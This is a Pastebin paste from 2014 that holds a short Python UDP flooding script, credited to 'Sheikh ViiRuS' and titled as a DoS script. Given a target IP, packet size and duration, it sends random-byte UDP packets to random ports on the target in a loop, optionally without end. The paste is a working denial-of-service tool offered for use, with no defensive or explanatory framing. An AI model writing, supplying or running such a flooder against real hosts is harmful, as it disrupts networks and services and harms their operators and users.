iViiRuS

UDP python dos script

Apr 23rd, 2014
1,219
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # UDP Flooding Script by Sheikh ViiRuS
  3. import socket,random,sys,time
  4.  
  5. if len(sys.argv) != 4:
  6.     print("Usage: %s <Target IP> <Packet Size (MAX 65500)> <Duration Time (0 = forever)>" % sys.argv[0])
  7.     sys.exit(1)
  8.  
  9. qIP = sys.argv[1]
  10. qPSize = int(sys.argv[2])
  11. qDuration = int(sys.argv[3])
  12.  
  13. qClock = (lambda:0, time.clock)[qDuration > 0]
  14. qDuration = (1, (qClock() + qDuration))[qDuration > 0]
  15.  
  16. qPacket = random._urandom(qPSize)
  17. qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  18.  
  19. print("[Starting UDP Flood on %s with %s bytes for %s seconds]" % (qIP, qPSize, qDuration or 'Infinite'))
  20.  
  21. while True:
  22.     if (qClock() < qDuration):
  23.         qPort = random.randint(1, 65535)
  24.         qSocket.sendto(qPacket, (qIP, qPort))
  25.     else:
  26.         break
  27.  
  28. print("DONE!")
RAW Paste Data